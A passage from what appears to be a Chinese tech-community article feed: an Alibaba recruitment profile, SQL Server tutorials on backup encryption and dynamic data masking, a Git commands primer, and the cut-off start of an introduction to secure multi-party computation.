对手得分，修补漏洞避免丢分。从两周一赛，到一周一赛，刘煜堃一路“打”进了清华大学网络与信息安全实验室，成为清华蓝莲花战队的一员。2016年，蓝莲花战队代表中国参加世界黑客大赛DEF CON CTF决赛并获得亚军。实践经历成敲门砖在2018届阿里星中，只有刘煜堃是硕士，但多年CTF的战绩成为他入选阿里星的敲门砖，最终成为阿里云智能安全部的高级安全工程师。这也是阿里在历年校招中始终秉承的理念——文凭只是衡量人才的一个方面，实践能力也很重要，而最能反映实践能力的就是实践经历。丁见亚曾在滴滴实习，需要分析供给侧与需求侧的诉求，建立合理的定价模型，以作为平台定价的参考。2017年暑假，丁见亚还跟着导师做过一篇关于“分享经济”的论文。这两次经历成为丁见亚在阿里星面试时与主管的谈资。“主管一听我的论文，就问我对滴滴的定价怎么看，这刚好是我下一趴要讲的内容。”一般情况下，阿里星的面试起码进行4轮，有些人的面试高达13轮。刘煜堃的主管曾告诉他，在面试时，自己最看重的是阿里星的技术功底、技术视野和求知欲，光靠理论知识，很难达到这个标准。![清华求学的胡庆达](https://upload-images.jianshu…丁见亚同样有着丰富的实践经历，他还在EJOR等高水平期刊发表了多篇论文，并数次担任SCI期刊审稿人。同样来自清华大学的2018届阿里星胡庆达，在成为阿里云数据库技术专家之前，除了有“多篇顶级会议论文”的标签，也在工业圈的实践经验上，积累了近20万行的代码。到阿里就为了战斗都说结业是一项双向选择，那么作为应届生中百里挑一的精英，阿里星们为什么选择了阿里？2018届阿里星杨涛，是安徽省芜湖市高考状元。一次，他在清华大学的报告厅里，听到阿里巴巴达摩院副院长华先胜关于城市大脑的演讲，被“用数据智能助力城市管理和服务”这一目标感染。2018年6月，博士毕业离校前夕，杨涛在清华的老图书馆里，接到了阿里HR的面试电话，希望他以阿里星的身份加入达摩院。“懂技术的人，对技术是有一种敬仰和向往。”杨涛接下了这份邀约。刘煜堃则是在面试时，被主管一句话击中，“阿里云上的场景是天然的战场，你打过仗，能力才会得到提升。”成就感，也是未来星选择阿里的重要因素。丁见亚放弃了在美国名校读博后的机会，加入了阿里旗下的菜鸟网络。阿里一直鼓励工程师把技术和业务场景结合起来，在加入菜鸟大快递智能化部门后，畅游在“数据场景”中的丁见亚更是坚定了最初的选择。偶然听到周围朋友刷着手机感叹“现在快递越送越快了”，丁见亚会暗自窃喜。在物流车调度场景中，丁见亚和同事通过机器学习的算法挖掘物流车的历史线路规律，甚至连司机爱超的小道，以及中途停靠抽烟片区的偏好，也被纳入计算因子，这套算法替代了人工调度，输出一套最优化的方案。“数据配合当下场景加强用户的体感，这满足了我在数学建模中的梦。”马云曾经对来阿里求职的人说过，“我不能保证你有钱，也不能保证你成名，但能保证一定有更多历练。”阿里星计划正是凭借着更多更丰富的实战场景和历炼的机会，吸引着高校中最年轻、最顶级的竞赛控、学习控、技术控、逻辑控、实战控。天马行空脚踏实地奋斗在阿里巴巴生态圈里，阿里星们“高考状元”“清华博士”“论文达人”的光环早已褪去，但是不断学习，不断接受挑战，仍然是这些学霸的本色。“清华流行一句话，不要让考上清华成为你的人生巅峰。”丁见亚每周至少阅读两篇论文“补充能量”，他也喜欢通过“撸铁”释放压力，午餐前的一个小时，他会先在菜鸟园区内的健身房完成一系列的力量训练。丁见亚还有个坚持十年的习惯——随时随地思考，随时随地记录，哪怕在洗澡时想出的点子，他也会立马擦干双手，把想法记录到手机上。刘煜堃的主管，经常对他提出高出职级范围的要求。“目前安全攻防人才多数关注于单点突破，而安全架构的设计必须考虑周全。”在推进的可信云项目中，主管要求刘煜堃在保持现有攻防技能的情况下，承担更多的安全架构设计，在项目结束后能完成从一个顶级的攻防人才到安全架构人才的转变。如何缩短理论研究与实际应用的距离，则是胡庆达要攻破的难题。他还记得刚入职那天，主管说过“造火箭得先学会拧螺丝”。杨涛到了达摩院后，与优酷合作，用算法来选择个性化的视频封面分发，实现视频领域的“千人千面”，他明白了“阿里的科研并不是天马行空的科研，是始终面向商业需求”。“天马行空，脚踏实地。”阿里巴巴集团CEO张勇的这句话很契合阿里星们的真实状态，2019年春季校招初始，更多的“最强大脑”将会加入阿里巴巴的生态圈，赶上这场技术创造新商业的变革时期。本文作者：王安忆阅读原文本文来自云栖社区合作伙伴“ 天下网商”，如需转载请联系原作者。

MSSQL实践-数据库备份加密

摘要在SQL Server安全系列专题月报分享中，我们已经分享了：如何使用对称密钥实现SQL Server列加密技术、使用非对称密钥实现SQL Server列加密、使用混合密钥实现SQL Server列加密技术、列加密技术带来的查询性能问题以及相应解决方案、行级别安全解决方案和SQL Server 2016 dynamic data masking实现隐私数据列打码技术这六篇文章，文章详情可以参见往期月报。本期月报我们分享使用证书做数据库备份加密的最佳实践。问题引入谈及数据库安全性问题，如何预防数据库备份文件泄漏，如何防止脱库安全风险，是一个非常重要的安全防范课题。这个课题的目的是万一用户数据库备份文件泄漏，也要保证用户数据的安全。在SQL Server中，2014版本之前，业界均采用的TDE技术来实现与防范脱库行为，但是TDE的原理是需要将用户所有的数据进行加密后落盘，读取时解密。这种写入时加密，读取时解密的行为，必然会导致用户查询性能的降低和CPU使用率的上升（具体对性能和CPU影响，可以参见这片测试文章SQL Server Transparent Data Encryption (TDE) Performance Comparison）。那么，我们一个很自然的问题是：有没有一种技术，既可以保证备份文件的安全，又能够兼顾到用户查询性能和CPU资源的消耗呢？这个技术就是我们今天要介绍的数据库备份加密技术，该技术是SQL Server 2014版本首次引入，企业版本和标准版支持备份加密，Web版和Express版支持备份加密文件的还原。具体实现创建测试数据库为了测试方便，我们专门创建了测试数据库BackupEncrypted。– create test databaseIF DB_ID(‘BackupEncrypted’) IS NOT NULL DROP DATABASE BackupEncryptedGOCREATE DATABASE BackupEncryptedON PRIMARY(NAME = BackupEncrypted_data, FILENAME = N’E:\SQLDATA\DATA\BackupEncrypted_data.mdf’, SIZE = 100MB, FILEGROWTH = 10MB),FILEGROUP SampleDB_MemoryOptimized_filegroup CONTAINS MEMORY_OPTIMIZED_DATA ( NAME = BackupEncrypted_MemoryOptimized, FILENAME = N’E:\SQLDATA\DATA\BackupEncrypted_MemoryOptimized’)LOG ON ( NAME = BackupEncrypted_log, FILENAME = N’E:\SQLDATA\DATA\BackupEncrypted_log.ldf’, SIZE = 100MB, FILEGROWTH = 10MB)GO创建测试表在测试数据库下，创建一张用于测试的表testTable，并插入一条随机数据。USE [BackupEncrypted]GO– create test table and insert one recordIF OBJECT_ID(‘dbo.testTable’, ‘U’) IS NOT NULL DROP TABLE dbo.testTableGOCREATE TABLE dbo.testTable( id UNIQUEIDENTIFIER default NEWID(), parent_id UNIQUEIDENTIFIER default NEWSEQUENTIALID());GOSET NOCOUNT ON;INSERT INTO dbo.testTable DEFAULT VALUES;GOSELECT * FROM dbo.testTable ORDER BY id;该条数据内容如下截图：创建Master Key和证书创建Master Key和证书，用于加密数据库备份文件。USE masterGO– If the master key is not available, create it. IF NOT EXISTS (SELECT * FROM sys.symmetric_keys WHERE name LIKE ‘%MS_DatabaseMasterKey%’) BEGIN CREATE MASTER KEY ENCRYPTION BY PASSWORD = ‘MasterKey*’; END GOUSE masterGO– create certificateCREATE CERTIFICATE MasterCert_BackupEncryptedAUTHORIZATION dboWITH SUBJECT = ‘Backup encryption master certificate’,START_DATE = ‘02/10/2017’,EXPIRY_DATE = ‘12/30/9999’GO备份证书首先，将证书和证书密钥文件备份到本地，最好它们脱机保存到第三方主机，以免主机意外宕机，导致证书文件丢失，从而造成已加密的备份文件无法还原的悲剧。USE masterGOEXEC sys.xp_create_subdir ‘C:\Tmp’– then backup it up to local pathBACKUP CERTIFICATE MasterCert_BackupEncrypted TO FILE = ‘C:\Tmp\MasterCert_BackupEncrypted.cer’WITH PRIVATE KEY ( FILE = ‘C:\Tmp\MasterCert_BackupEncrypted.key’, ENCRYPTION BY PASSWORD = ‘aa11@@AA’);加密完全备份创建完Master Key和证书文件后，我们就可以做数据库完全备份加密操作。USE master;GO– do full backup database with encryptionBACKUP DATABASE [BackupEncrypted] TO DISK = N’C:\Tmp\BackupEncrypted_FULL.bak’ WITH COMPRESSION, ENCRYPTION ( ALGORITHM = AES_256, SERVER CERTIFICATE = MasterCert_BackupEncrypted), STATS = 10;GO加密差异备份数据库差异备份加密，备份操作前，我们插入一条数据，以供后续的测试数据校验。USE [BackupEncrypted]GO– insert another recordSET NOCOUNT ON;INSERT INTO dbo.testTable DEFAULT VALUES;GOSELECT * FROM dbo.testTable ORDER BY id;USE master;GO–Differential backup with encryptionBACKUP DATABASE [BackupEncrypted]TO DISK = N’C:\Tmp\BackupEncrypted_DIFF.bak’WITH CONTINUE_AFTER_ERROR,ENCRYPTION ( ALGORITHM = AES_256, SERVER CERTIFICATE = MasterCert_BackupEncrypted), STATS = 10, DIFFERENTIAL;GO差异备份操作前，校验表中的两条数据如下图所示：加密日志备份数据库事物日志备份加密，备份前，我们照样插入一条数据，以供后续测试数据校验。USE BackupEncryptedGO– insert another recordSET NOCOUNT ON;INSERT INTO dbo.testTable DEFAULT VALUES;GOSELECT * FROM dbo.testTable ORDER BY id;USE master;GO– backup transaction log with encryptionBACKUP LOG [BackupEncrypted]TO DISK = N’C:\Tmp\BackupEncrypted_log.trn’WITH CONTINUE_AFTER_ERROR,ENCRYPTION ( ALGORITHM = AES_256, SERVER CERTIFICATE = MasterCert_BackupEncrypted), STATS = 10;GO日志备份操作前，校验表中的三条数据如下图所示：查看备份历史数据完全备份、差异备份和日志备份结束后，查看备份历史记录。use msdbGO– check backupsSELECT b.database_name, b.key_algorithm, b.encryptor_thumbprint, b.encryptor_type, b.media_set_id, m.is_encrypted, b.type, m.is_compressed, bf.physical_device_nameFROM dbo.backupset bINNER JOIN dbo.backupmediaset m ON b.media_set_id = m.media_set_idINNER JOIN dbo.backupmediafamily bf on bf.media_set_id=b.media_set_idWHERE database_name = ‘BackupEncrypted’ORDER BY b.backup_start_date DESC备份历史信息展示如下：从截图中数据我们可以看出，三种备份都采用了证书做备份加密。查看备份文件信息备份历史检查完毕后，在清理测试环境之前，检查备份文件元数据信息，可以成功查看，没有任何报错。USE masterGO– before clean environment, try to get backup files meta info, will be successRESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’展示结果部分截图如下：清理环境清理环境目的是模拟在一台全新实例上还原数据库备份文件。use masterGO– let’s try to simulate a database crash, here we just drop this database.DROP DATABASE [BackupEncrypted];GO– and clean certificate and master key to simulate restore to a new instance.DROP CERTIFICATE MasterCert_BackupEncrypted;GODROP MASTER KEY;GO再次查看备份文件信息清理掉证书和Master Key后，再次查看备份文件信息，此时会报错。因为数据库备份文件已经加密。这种报错是我们所预期的，即就算我们的数据库备份文件被脱库泄漏，我们的数据也可以保证绝对安全，而不会非预期的还原回来。USE masterGO– try to get backup files meta info again after clean environment, will be not success now.RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’报错信息类似如下：Msg 33111, Level 16, State 3, Line 178Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 178RESTORE FILELIST is terminating abnormally.Msg 33111, Level 16, State 3, Line 179Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 179RESTORE HEADERONLY is terminating abnormally.Msg 33111, Level 16, State 3, Line 181Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 181RESTORE FILELIST is terminating abnormally.Msg 33111, Level 16, State 3, Line 182Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 182RESTORE HEADERONLY is terminating abnormally.Msg 33111, Level 16, State 3, Line 184Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 184RESTORE FILELIST is terminating abnormally.Msg 33111, Level 16, State 3, Line 185Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 185RESTORE HEADERONLY is terminating abnormally.部分错误信息截图如下：还原证书文件数据库备份加密，可以有效防止脱库泄漏的安全风险。当然，合法用户需要在新实例上成功还原加密备份文件。首先，创建Master Key；然后，从证书备份文件中，重新创建证书。USE masterGO– so we have to re-create master key, the certificate and open the IF NOT EXISTS (SELECT * FROM sys.symmetric_keys WHERE name LIKE ‘%MS_DatabaseMasterKey%’) BEGIN CREATE MASTER KEY ENCRYPTION BY PASSWORD = ‘MasterKey*’; END GOuse masterGO– re-create certificateCREATE CERTIFICATE MasterCert_BackupEncryptedFROM FILE = ‘C:\Tmp\MasterCert_BackupEncrypted.cer’WITH PRIVATE KEY (FILE = ‘C:\Tmp\MasterCert_BackupEncrypted.key’,DECRYPTION BY PASSWORD = ‘aa11@@AA’);GO检查备份文件信息校验备份文件信息，已经可以正确读取。USE masterGO– after re-create certificate, try to get backup files meta info again, will be success.RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’还原已加密完全备份文件首先，尝试还原数据库完全备份文件，成功。USE [master]– restore encrypted full backupRESTORE DATABASE [BackupEncrypted] FROM DISK = N’C:\Tmp\BackupEncrypted_FULL.bak’ WITH FILE = 1, MOVE ‘BackupEncrypted_data’ TO N’E:\SQLDATA\DATA\BackupEncrypted_data.mdf’,MOVE ‘BackupEncrypted_MemoryOptimized’ TO N’E:\SQLDATA\DATA\BackupEncrypted_MemoryOptimized’,MOVE ‘BackupEncrypted_log’ TO N’E:\SQLDATA\DATA\BackupEncrypted_log.ldf’,NOUNLOAD, STATS = 5, NORECOVERYGO还原已加密差异备份文件其次，尝试还原数据库差异备份文件，成功。– Restore encrypted diff backupRESTORE DATABASE [BackupEncrypted] FROM DISK = N’C:\Tmp\BackupEncrypted_DIFF.bak’ WITH FILE = 1, MOVE ‘BackupEncrypted_data’ TO N’E:\SQLDATA\DATA\BackupEncrypted_data.mdf’,MOVE ‘BackupEncrypted_MemoryOptimized’ TO N’E:\SQLDATA\DATA\BackupEncrypted_MemoryOptimized’,MOVE ‘BackupEncrypted_log’ TO N’E:\SQLDATA\DATA\BackupEncrypted_log.ldf’,NOUNLOAD, STATS = 5, NORECOVERYGO还原已加密日志备份文件再次，尝试还原数据库日志备份文件，成功。– restore encrypted transaction log backupRESTORE LOG [BackupEncrypted] FROM DISK = N’C:\Tmp\BackupEncrypted_log.trn’ WITH FILE = 1, MOVE ‘BackupEncrypted_data’ TO N’E:\SQLDATA\DATA\BackupEncrypted_data.mdf’,MOVE ‘BackupEncrypted_MemoryOptimized’ TO N’E:\SQLDATA\DATA\BackupEncrypted_MemoryOptimized’,MOVE ‘BackupEncrypted_log’ TO N’E:\SQLDATA\DATA\BackupEncrypted_log.ldf’,NOUNLOAD, STATS = 10GO检查测试表数据最后，检查测试表的三条测试数据。USE [BackupEncrypted]GO– double check the three recordsSELECT * FROM dbo.testTable ORDER BY id;三条校验数据一致。清理测试环境清理掉我们的测试环境。use masterGO– clean up the environmentDROP DATABASE BackupEncrypted;GODROP CERTIFICATE MasterCert_BackupEncrypted;GODROP MASTER KEY;GO最后总结本期月报我们分享了SQL Server 2014及以上版本如何使用证书实现数据库备份加密技术，在防范脱库安全风险的同时，既能够比较好的保证用户查询性能，又不会带来额外CPU资源的消耗。参考文章SQL Server Transparent Data Encryption (TDE) Performance ComparisonSQLServer · 最佳实践 · 透明数据加密TDE在SQLServer的应用开启TDE的RDS SQL Server还原到本地环境Understanding Database Backup Encryption in SQL Server本文作者：风移阅读原文本文为云栖社区原创内容，未经允许不得转载。 ...

MSSQL - 最佳实践 - 如何打码隐私数据列

摘要在SQL Server安全系列专题月报分享中，我们已经分享了：如何使用对称密钥实现SQL Server列加密技术、使用非对称密钥加密方式实现SQL Server列加密、使用混合密钥实现SQL Server列加密技术、列加密技术带来的查询性能问题以及相应解决方案和行级别安全解决方案这五篇文章，文章详情可以参见往期月报。本期月报我们分享使用SQL Server 2016 dynamic data masking实现隐私数据列的打码技术最佳实践。问题引入在平日的生活中，我们或多或少都经历过广告推销、电话诈骗，不厌其烦，甚至更为严重到银行卡号泄漏、身份证号泄漏等更为严重的情况。这个时候，于是我们就在想有没有技术手段来尽量或最大限度的保护我们隐私数据安全呢？答案是肯定的，SQL Server 2016版本首次引入了dynamic data masking来实现隐私数据列的打码技术，让我们一起来看看如何实现类似于手机号、身份证号、驾照号等隐私数据打码技术。原理分析数据列打码技术的本身我们并不陌生，就是将一些比较私密的数据信息隐藏起来，仅开放给有较高权限的用户查看完整数据。打码技术本身并不会对数据做任何的加密、解密等操作。严格意义上讲，数据打码不是一个完整的数据安全解决方案，但是它可以作为安全策略中重要的一环来有效避免用户隐私数据列的泄漏。让我们一起来看看在SQL Server 2016 dynamic data masking是如何实现的。实现方法创建测试数据库为了测试方便，我们专门创建了测试数据库TestDb。–Step 1 - Create MSSQL sample databaseUSE masterGOIF DB_ID(‘TestDb’) IS NULL CREATE DATABASE [TestDb];GO创建测试表首先，我们创建一张常规表CustomerInfo，来存放客户信息，其中，CustomerPhone列为用户隐私数据，存放了用户的手机号码。–Step 2 - Create Test Table, init recordsUSE [TestDb]GOIF OBJECT_ID(‘dbo.CustomerInfo’, ‘U’) IS NOT NULL DROP TABLE dbo.CustomerInfoCREATE TABLE dbo.CustomerInfo(CustomerId INT IDENTITY(10000,1) NOT NULL PRIMARY KEY,CustomerName VARCHAR(100) NOT NULL,CustomerPhone CHAR(11) NOT NULL);– Init TableINSERT INTO dbo.CustomerInfo VALUES (‘CustomerA’,‘13402872514’),(‘CustomerB’,‘13880674722’),(‘CustomerC’,‘13487759293’)GO创建测试用户为了方便观察和检查测试效果，我们创建一个测试账号DemoUser。– Step3: Create a DemoUser to testUSE [TestDb]GOCREATE USER DemoUser WITHOUT LOGIN;GRANT SELECT ON dbo.CustomerInfo TO DemoUser;GOEXECUTE AS USER = ‘DemoUser’;– Verify dataSELECT * FROM dbo.CustomerInfoREVERT常规情况下，测试账号，可以清清楚楚，明明白白看到用户所有数据，包含客户手机号这种关键的隐私数据。如果，这个用户有不轨之心是非常容易将这些信息泄漏、导出的，安全风险较大。客户手机号打码于是，我们想，如果能够将客户隐私数据，比如，电话号码（身份证号码、银行卡号等）打码的话，那么测试账号就无法查看到用户完整的数据信息了。打码方法如下：– Step4: Alter phone column add data maskUSE [TestDb]GOALTER TABLE dbo.CustomerInfoALTER COLUMN CustomerPhone ADD MASKED WITH(FUNCTION=‘partial(3, “****”, 4)’);由于CustomerPhone是11位数字，我们使用partial方法打码隐藏中间四位，打码符号使用星号，保留前三位和后四位数数字即可。查询打码列打码完毕，我们使用系统试图查看打码列和打码函数：– Step5. Query system view to check data maskSELECT db_name() as database_name, SCHEMA_NAME(schema_id) AS schema_name, tbl.name as table_name, c.name as column_name, c.is_masked, c.masking_function FROM sys.masked_columns AS c WITH (NOLOCK) INNER JOIN sys.tables AS tbl WITH(NOLOCK) ON c.[object_id] = tbl.[object_id] WHERE c.is_masked = 1 AND tbl.name = ‘CustomerInfo’;从结果可以看到我们已经将表TestDb.dbo.CustomerInfo中字段CustomerPhone打码，打码函数为partial(3, “**”, 4)，结果展示如下所示：测试用户查看数据打码完毕后，再次使用DemoUser测试账号查看打码后的数据：– Step6: Demo user to query and verify dataUSE [TestDb]GOEXECUTE AS USER = ‘DemoUser’;– Verify dataSELECT * FROM dbo.CustomerInfoREVERT从查询结果展示来看，客户手机号码列中间四位已经成功打码了，测试账号已经无法获取到完整的客户电话号码了。修改打码符号有时候，有的人会说，我不喜欢星号，能否换个打码姿势，我更喜欢使用字母X。只要你喜欢，随便切换，方法如下：– Step7: What if I want to change the mask sign from * to XUSE [TestDb]GOALTER TABLE dbo.CustomerInfoALTER COLUMN CustomerPhone CHAR(11) MASKED WITH(FUNCTION=‘partial(3, “XXXX”, 4)’);现在打码符号变成了X，展示如下：新增隐私打码列现在我们需要增加一个新的列，用来存放用户email地址，也请同时打码。非常简单，新增列的时候使用email打码函数即可，如下所示：– Step8: and I want to add a new email mask columnALTER TABLE dbo.CustomerInfoADD Email varchar(100) MASKED WITH (FUNCTION = ’email()’) NOT NULL DEFAULT(‘demo.user@test.com’)查询打码列特定值有的人可能会问，手机号码被打码了，这个列会影响我的WHERE语句查询吗？当然不会，因为data mask技术本身并没有对数据做任何修改，只是在展示的时候，打码隐藏掉部分信息而已。– Step9: Demo user to query the specified phone customer infoUSE [TestDb]GOEXECUTE AS USER = ‘DemoUser’;– Verify dataSELECT * FROM dbo.CustomerInfoWHERE CustomerPhone = ‘13880674722’REVERT查询结果展示，手机号码和email地址始终被打码。拷贝存在打码列的表我们说data mask技术并没有加密、修改数据本身。到目前为止，测试账号DemoUser已经无法获取到客人的关键隐私数据了，那么他能够将用户数据Copy、导出吗？让我们做一个简单的测试，DemoUser将表CustomerInfo复制到一个新表CustomerInfo_copied中：– Step10: Ops, if I copy a new table from the data masked table, I can’t get the unmasked data now.USE [TestDb]GOGRANT CREATE TABLE TO DemoUser;GRANT ALTER ON SCHEMA::dbo TO DemoUser;EXECUTE AS USER = ‘DemoUser’;– Verify dataSELECT * INTO dbo.CustomerInfo_copiedFROM dbo.CustomerInfoREVERTGRANT SELECT ON dbo.CustomerInfo_copied TO DemoUser;EXECUTE AS USER = ‘DemoUser’;SELECT * FROM dbo.CustomerInfo_copiedREVERTDemoUser复制了客户信息数据到新表后，查看新表中的数据，依然是被打码的，测试用户无法导出、复制客人的隐私数据。达到了安全策略保护客户隐私数据的目的，展示结果如下：我想要在无码的世界如果有一天DemoUser成了高权限用户，确实需要查看客户隐私数据列，这个时候，我们可以给予测试账号unmask的权限，他就可以看到完整的客户数据了。方法如下：– Step 11: But, how can demo user to query the unmasked data?USE TestDBGOGRANT UNMASK TO DemoUser; EXECUTE AS USER = ‘DemoUser’; SELECT * FROM dbo.CustomerInfo; REVERT; – Removing the UNMASK permission REVOKE UNMASK TO DemoUser;此时，DemoUser查询到的数据，是非常完整的客人数据。删掉打码删除打码，让所有用户回归无码的世界。– Step 12: all the demos have been done, it’s time to drop the mask.USE TestDBGOALTER TABLE dbo.CustomerInfo ALTER COLUMN CustomerPhone DROP MASKED; 最后总结本期月报我们分享了使用SQL Server 2016引入的新特性dynamic data masking实现客户数据打码技术，防止未授权用户查看、导出用户关键隐私数据，最大限度保证用户数据安全性。本文作者：风移阅读原文本文为云栖社区原创内容，未经允许不得转载。 ...

10个你应该了解的Git命令(以及Git省时小窍门)

在本文中，我们将讨论那些作为开发人员、数据科学家或产品经理应该知道的各种各样的Git命令。并且将使用Git查看、删除和整理。此外，我们还将介绍如何使用Bash别名和Git编辑器配置转义Vim和节省时间的方法。如果你不熟悉基本的git命令，那么在阅读本文之前，请查看我之前关于git工作流的文章。下面是需要了解的10个命令和它们的一些常见标志。每个命令都链接到该命令的Atlassian Bitbucket指南。查看信息首先，让我们来查看变化。git diff——查看所有本地文件更改。可以附加文件名，以仅显示一个文件的更改。git log——查看所有提交历史记录。也可以用于具有git log -p my_file的文件。输入q退出。git blame my_file——查看谁更改了my_file中的内容和时间。git reflog——显示本地存储库HEAD的更改日志。有助于找到遗失的文件。用git查看信息并不是很混乱。相比之下，Git提供了大量的选项来删除、撤消提交和文件更改。撤消信息git reset、git checkout和git revert用于撤消对存储库所做更改的影响。这些命令可能很难理解。git reset和git checkout可用于提交和单个文件。git revert仅用于提交级别。如果你只是处理尚未合并到协作远程工作中的本地提交，则可以使用这些命令中的任何一个。如果你正在协作工作，并且需要撤销在远程分支中的提交，那么就使用git revert。这些命令中的每一个都可以采用多种选择。以下是常见用途：git reset –hard HEAD——丢弃自最近提交以来的阶段性和非阶段性更改。指定一个不同的提交，而不是HEAD来丢弃自提交以来的更改。——hard指定阶段性和非阶段性的更改。确保你不会放弃协作者所依赖的远程分支的提交!git checkout my_commit——放弃my_commit之后非阶段性的更改。HEAD通常用于my_commit，以放弃自最近一次提交以来对本地工作目录的更改。checkout最适合用于本地撤销。它不会打乱协作者所依赖的远程分支的提交历史记录!如果你将checkout与分支一起使用，而不是使用提交，则HEAD将切换到指定的分支，并更新工作目录以匹配。这是checkout命令的更常见用法。git revert my_commit——撤消my_commit中更改的效果。当撤消更改时，revert会进行新的提交。revert对于协作项目是安全的，因为它不会覆盖其他用户的分支所可能依赖的历史记录。有时你只想删除本地目录中的未跟踪文件。例如，你可能运行了一些代码，这些代码创建了许多你在repo中不需要的不同类型的文件。那么，你可以在一瞬间把它们清洗干净!git clean -n——删除本地工作目录中的未跟踪文件-n标志用于没有删除任何内容的干运行。使用-f标志来实际删除文件。使用-d标志删除未跟踪的目录。默认情况下，.gitignore未跟踪的文件不会被删除，但是可以更改此行为。现在你已经了解了在Git中撤消操作的工具，那么让我们来看看另外两个命令。整理信息git commit –amend——将阶段性的更改添加到最近的提交。如果没有执行暂存，此命令只允许你编辑最近的提交消息。只有在提交未集成到远程主分支时才使用此命令!git push my_remote –tags——将所有本地标记发送到远程repo。适合于版本控制更改。如果你正在使用python并对构建的包进行更改，bump2version将自动为你创建标记。一旦你推送了标记，就可以在发布中使用它们。这是我制作第一个OSS python包的指南。跟着我，确保你不会错过版本控制的部分！救命，我被困在Vim里出不来了!使用Git，你可能有时会发现自己陷入了Vim编辑器会话。例如，假设你尝试在没有提交消息的情况下提交，Vim将自动打开。如果你不了解Vim，这有点难缠——看看这个在Stack Overflow中超过4,000投票的回答，来了解如何摆脱它。以下是使用保存文件逃避Vim的四步计划：1.按i进入插入模式。2.在第一行输入提交消息。3.按下退出键-——Esc。4.输入:x。别忘了冒号。恭喜，你自由了！改变默认编辑器为了完全避免Vim，可以在Git中更改默认编辑器。这里是一些带有通用编辑器命令的文档。下面是修改我使用的编辑器Atom默认值的命令:假设你已经安装了Atom，现在可以解决其中的Git问题。太棒了！为Git命令创建快捷方式通过在.bash_profile中添加以下别名，为Git命令添加快捷方式。你可以根据自己的喜好调整Git命令的快捷方式。如果你没有.bash_profile，可以使用以下命令在macOS上创建一个：然后打开它：有关.bash_profile的更多信息，请点击这里。现在，当你在终端中输入gs时，它与输入git status相同。请注意，你可以在快捷方式之后在终端中输入其他标志。你也可以制作Git别名，但是那些要求你在快捷命令之前键入git。这就多此一举了。包装在本文中，你已经看到了一些关键的Git命令，并配置了环境以节省时间。现在你已经有了Git和GitHub的基础。准备好下一步了吗?查看这个Bitbucket Git教程，来了解更多。探索Git分支的交互式指南。分支可能不好理解，但绝对值得一看。去玩，去学习，向别人解释这些不同之处。我希望这篇介绍Git和GitHub的文章对你有用。如果可以，请在你最喜欢的社交媒体上分享，这样其他人也能找到它。我写的是如何有效地使用Python、Docker以及其他编程和数据科学工具。如果你对此感兴趣，请在这里阅读更多。本文作者：【方向】阅读原文本文为云栖社区原创内容，未经允许不得转载。

安全多方计算新突破！阿里首次实现“公开可验证” 的安全方案

阿里妹导读：近日，阿里安全双子座实验室与马里兰大学等高校合作的论文《Covert Security with Public Verifiability: Faster, Leaner, and Simpler 》【1】被欧洲密码年会(Eurocrypt)2019接收。这是国内公司在安全多方计算领域的第一篇顶会论文（Eurocrypt2018只有3篇大陆作者论文，难度可见一斑）。今天，我们邀请阿里高级安全专家鸿程，深入解读业界首个“公开可验证(PVC)” 的安全两方计算方案。安全多方计算介绍安全多方计算（ Secure Multi-Party Computation，MPC）于1986 年由姚期智院士提出【2】。安全多方计算协议允许多个数据所有者在互不信任的情况下进行协同计算，输出计算结果，并保证任何一方均无法得到除应得的计算结果之外的其他任何信息。换句话说，MPC技术可以获取数据使用价值，却不泄露原始数据内容。互联网已经完成了从IT时代向DT时代的转变，数据已经成为DT时代企业的核心竞争力。数据作为一种新能源，只有流动起来才能产生价值。不过，大多数企业考虑到数据安全和个人隐私等问题，对数据共享都非常谨慎。而MPC对打破数据孤岛，实现数据的可控共享，具有重要的理论和现实意义。MPC方案主要可分为基于混淆电路(Garbled Circuit，GC)和基于秘密共享两种。本文主要关注GC类方案。不经意传输(Oblivious Transfer)我们首先介绍一种基础的安全多方计算协议：不经意传输(Oblivious Transfer, 